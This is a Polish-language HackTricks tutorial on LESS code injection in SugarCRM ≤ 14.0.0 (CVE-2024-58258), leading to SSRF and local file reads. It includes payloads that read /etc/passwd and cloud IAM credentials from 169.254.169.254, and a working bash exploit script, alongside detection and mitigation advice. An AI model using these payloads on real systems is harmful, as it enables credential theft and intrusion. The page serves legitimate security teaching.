LESS Code Injection prowadzący do SSRF i odczytu lokalnych plików
Reading time: 4 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Przegląd
LESS to popularny preprocesor CSS, który dodaje zmienne, mixiny, funkcje oraz potężną dyrektywę @import
. Podczas kompilacji silnik LESS pobiera zasoby wskazane w instrukcjach @import
i osadza ("inline") ich zawartość w wynikowym CSS, gdy używana jest opcja (inline)
.
Gdy aplikacja konkatenatuje wejście kontrolowane przez użytkownika w ciągu, który jest później analizowany przez kompilator LESS, atakujący może wstrzyknąć dowolny kod LESS. Wykorzystując @import (inline)
, atakujący może zmusić serwer do pobrania:
- Lokalnych plików za pomocą protokołu
file://
(ujawnienie informacji / Lokalna Inkluzja Plików). - Zdalnych zasobów w sieciach wewnętrznych lub usługach metadanych w chmurze (SSRF).
Technika ta została zaobserwowana w produktach rzeczywistych, takich jak SugarCRM ≤ 14.0.0 (punkt końcowy /rest/v10/css/preview
).
Wykorzystanie
- Zidentyfikuj parametr, który jest bezpośrednio osadzony w ciągu arkusza stylów przetwarzanym przez silnik LESS (np.
?lm=
w SugarCRM). - Zamknij bieżące oświadczenie i wstrzyknij nowe dyrektywy. Najczęściej używane prymitywy to:
;
– kończy poprzednią deklarację.}
– zamyka poprzedni blok (jeśli to konieczne).
- Użyj
@import (inline) '<URL>';
, aby odczytać dowolne zasoby. - Opcjonalnie wstrzyknij znacznik (
data:
URI) po imporcie, aby ułatwić ekstrakcję pobranej zawartości z skompilowanego CSS.
Odczyt lokalnych plików
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
Zawartość /etc/passwd
pojawi się w odpowiedzi HTTP tuż przed znacznikiem @@END@@
.
SSRF – Metadane chmury
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
Zautomatyzowany PoC (przykład SugarCRM)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Wykrywanie
- Szukaj dynamicznie generowanych odpowiedzi
.less
lub.css
zawierających niesanitizowane parametry zapytania. - Podczas przeglądu kodu, szukaj konstrukcji takich jak
"@media all { .preview { ... ${userInput} ... } }"
przekazywanych do funkcji renderujących LESS. - Próby wykorzystania często zawierają
@import
,(inline)
,file://
,http://169.254.169.254
itp.
Łagodzenie
- Nie przekazuj niezaufanych danych do kompilatora LESS.
- Jeśli wymagane są dynamiczne wartości, odpowiednio je escape/sanitizuj (np. ogranicz do tokenów numerycznych, białe listy).
- Wyłącz, gdy to możliwe, możliwość używania importów
(inline)
, lub ogranicz dozwolone protokoły dohttps
. - Utrzymuj zależności na bieżąco – SugarCRM załatał ten problem w wersjach 13.0.4 i 14.0.1.
Przykłady z rzeczywistego świata
Produkt | Wrażliwy punkt końcowy | Wpływ |
---|---|---|
SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | Niena uwierzytelniony SSRF i odczyt lokalnych plików |
Odniesienia
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.